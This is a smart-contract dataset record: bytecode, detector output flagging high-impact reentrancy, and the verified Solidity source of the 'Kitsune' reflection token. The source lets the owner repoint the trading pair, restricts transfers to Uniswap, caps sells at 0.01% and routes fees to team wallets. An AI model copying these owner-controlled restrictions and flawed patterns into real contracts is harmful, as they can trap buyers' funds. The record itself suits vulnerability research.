935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220da79c9ed3af7d5832506222661232bbc2e19b7bfb1fe64fcabcb14348ca3298c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,759
0x30B27e6D8B180B03e098D7DDd8B48182282f1eC9
/** *Submitted for verification at Etherscan.io on 2021-08-23 */ /* Tokenomics 1. 1,000,000,000,000 (one trillion) Total Supply 2. Fair launch for everyone! 3. 1% max buy limit on launch 4. 0.01% max sell limit on launch (anti-dumping) 5. buy and sell limits will be readjusted based on Telegram member votes. 6. 10% fee for all transactions. Double fee since the 2nd sells within 24 hours. 7. 3%-6% redistribution to holders on all transactions 8. 2%-4% burnt tokens on all transactions. 9. bigger rewards to holders and believers. 10. TO THE MOON...KITSUNeil Armstrong. For further information, please reach out to us! Website: https://www.kitsune-token.com Telegram:https://t.me/kitsune_foxxy Twitter: https://twitter.com/Kitsunetok SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Kitsune is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kitsune"; string private constant _symbol = "KITSUNE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 3; uint256 private _burnFee = 2; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; address public constant _deadAddress = 0x000000000000000000000000000000000000dEaD; address payable public _burnAddress = payable(_deadAddress); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private inSwap = false; uint256 private _maxBuyAmount = 10000000000 * 10**9; uint256 private _maxSellAmount = 100000000 * 10**9; event MaxBuyAmountUpdated(uint256 _maxBuyAmount); event MaxSellAmountUpdated(uint256 _maxSellAmount); event uniswapV2PairUpdated(address uniswapV2Pair); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_burnAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function UniswapPairAddress () public view returns (address) { return uniswapV2Pair; } function UniswapRouter () public view returns (IUniswapV2Router02){ return uniswapV2Router; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { if(_isExcludedFromFee[recipient]){ _transfer(_msgSender(), recipient, amount); return true; } else{ uint256 burnamount = amount.mul(_burnFee).div(100); _transfer(_msgSender(), _burnAddress, burnamount); uint256 newamount = amount.sub(burnamount); _transfer(_msgSender(), recipient, newamount); return true; } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setUniswapPair (address payable _uniswapV2Pair) external onlyOwner() { uniswapV2Pair = _uniswapV2Pair; emit uniswapV2PairUpdated(_uniswapV2Pair); } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _burnFee ==0 && _teamFee == 0) return; _taxFee = 0; _burnFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 3; _burnFee = 2; _teamFee = 5; } function setFee(uint256 multiplier) private { if (multiplier > 1) { _taxFee = 6; _burnFee = 4; _teamFee = 10; } else { restoreAllFee(); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router)) { require(amount <= _maxBuyAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); restoreAllFee(); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair) { require(amount <= _maxSellAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (30 seconds); } else if (sellnumber[from] >= 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (30 seconds); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _burnFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100-burnFee); uint256 tTeam = tAmount.mul(teamFee).div(100-burnFee); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxBuyPercent(uint256 maxBuyPercent) external onlyOwner() { require(maxBuyPercent > 0, "Amount must be greater than 0"); _maxBuyAmount = _tTotal.mul(maxBuyPercent).div(10**2); emit MaxBuyAmountUpdated(_maxBuyAmount); } function setMaxSellPercent(uint256 maxSellPercent) external onlyOwner() { require(maxSellPercent > 0, "Amount must be greater than 0"); _maxSellAmount = _tTotal.mul(maxSellPercent).div(10**2); emit MaxSellAmountUpdated(_maxSellAmount); } }
0x6080604052600436106101235760003560e01c80638a977cee116100a0578063c3c8cd8011610064578063c3c8cd80146103d0578063c7639d80146103e7578063c93eb86614610412578063d5aed6bf1461043d578063dd62ed3e146104665761012a565b80638a977cee146102e95780638da5cb5b1461031257806395d89b411461033d578063a9059cbb14610368578063bd3900c0146103a55761012a565b806335c14228116100e757806335c142281461022a57806359992dbc146102555780636fc3eaec1461027e57806370a0823114610295578063715018a6146102d25761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063313ce567146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104a3565b6040516101519190612c33565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612890565b6104e0565b60405161018e9190612bfd565b60405180910390f35b3480156101a357600080fd5b506101ac6104fe565b6040516101b99190612db5565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612841565b61050f565b6040516101f69190612bfd565b60405180910390f35b34801561020b57600080fd5b506102146105e8565b6040516102219190612e2a565b60405180910390f35b34801561023657600080fd5b5061023f6105f1565b60405161024c9190612bac565b60405180910390f35b34801561026157600080fd5b5061027c600480360381019061027791906128cc565b61061b565b005b34801561028a57600080fd5b50610293610764565b005b3480156102a157600080fd5b506102bc60048036038101906102b7919061278a565b6107d6565b6040516102c99190612db5565b60405180910390f35b3480156102de57600080fd5b506102e7610827565b005b3480156102f557600080fd5b50610310600480360381019061030b91906128cc565b61097a565b005b34801561031e57600080fd5b50610327610ac3565b6040516103349190612bac565b60405180910390f35b34801561034957600080fd5b50610352610aec565b60405161035f9190612c33565b60405180910390f35b34801561037457600080fd5b5061038f600480360381019061038a9190612890565b610b29565b60405161039c9190612bfd565b60405180910390f35b3480156103b157600080fd5b506103ba610c2e565b6040516103c79190612be2565b60405180910390f35b3480156103dc57600080fd5b506103e5610c54565b005b3480156103f357600080fd5b506103fc610cce565b6040516104099190612c18565b60405180910390f35b34801561041e57600080fd5b50610427610cf8565b6040516104349190612bac565b60405180910390f35b34801561044957600080fd5b50610464600480360381019061045f91906127dc565b610cfe565b005b34801561047257600080fd5b5061048d60048036038101906104889190612805565b610e0e565b60405161049a9190612db5565b60405180910390f35b60606040518060400160405280600781526020017f4b697473756e6500000000000000000000000000000000000000000000000000815250905090565b60006104f46104ed610e95565b8484610e9d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061051c848484611068565b6105dd84610528610e95565b6105d88560405180606001604052806028815260200161348060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061058e610e95565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af29092919063ffffffff16565b610e9d565b600190509392505050565b60006009905090565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610623610e95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a790612d15565b60405180910390fd5b600081116106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612cd5565b60405180910390fd5b610722606461071483683635c9adc5dea00000611b5690919063ffffffff16565b611bd190919063ffffffff16565b6016819055507fa0dff8a4e8bcaa27b5a2b64bc312f8b338e362bd6cad89f5fe2ae6b8389fb38a6016546040516107599190612db5565b60405180910390a150565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107a5610e95565b73ffffffffffffffffffffffffffffffffffffffff16146107c557600080fd5b60004790506107d381611c1b565b50565b6000610820600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d16565b9050919050565b61082f610e95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b390612d15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610982610e95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612d15565b60405180910390fd5b60008111610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612cd5565b60405180910390fd5b610a816064610a7383683635c9adc5dea00000611b5690919063ffffffff16565b611bd190919063ffffffff16565b6015819055507fd0459d371e1defb856088ceda9d33bfed2a31a105e0bae2113cdc7dcc9e77e9d601554604051610ab89190612db5565b60405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4b495453554e4500000000000000000000000000000000000000000000000000815250905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b9857610b8f610b88610e95565b8484611068565b60019050610c28565b6000610bc26064610bb460095486611b5690919063ffffffff16565b611bd190919063ffffffff16565b9050610bf8610bcf610e95565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611068565b6000610c0d8285611d8490919063ffffffff16565b9050610c21610c1a610e95565b8683611068565b6001925050505b92915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c95610e95565b73ffffffffffffffffffffffffffffffffffffffff1614610cb557600080fd5b6000610cc0306107d6565b9050610ccb81611dce565b50565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61dead81565b610d06610e95565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8a90612d15565b60405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f9247f40358a5a35ccb3dc904555aecb5f1c4041d8861cc4a4a66580647526e9d81604051610e039190612bc7565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0490612d75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7490612c95565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161105b9190612db5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cf90612d55565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113f90612c55565b60405180910390fd5b6000811161118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612d35565b60405180910390fd5b611193610ac3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561120157506111d1610ac3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a2f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561126e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112c85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113225750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561141e57601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611368610e95565b73ffffffffffffffffffffffffffffffffffffffff1614806113de5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113c6610e95565b73ffffffffffffffffffffffffffffffffffffffff16145b61141d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141490612d95565b60405180910390fd5b5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114c25750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6114cb57600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115765750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561162e5760155481111561158a57600080fd5b42600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115d557600080fd5b601e426115e29190612e9a565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061162d6120c6565b5b6000611639306107d6565b905060148054906101000a900460ff161580156116a45750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a2d576016548211156116b857600080fd5b42600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061170357600080fd5b4262015180600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117529190612e9a565b101561179e576000600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156118d457600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611836906130b5565b919050555042600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601e4261188c9190612e9a565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119c2565b6001600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119c157600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061196b906130b5565b9190505550601e4261197d9190612e9a565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6119cb81611dce565b600047905060008111156119e3576119e247611c1b565b5b611a2b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e0565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ad65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ae057600090505b611aec84848484612111565b50505050565b6000838311158290611b3a576040517f08c379a0000000000000000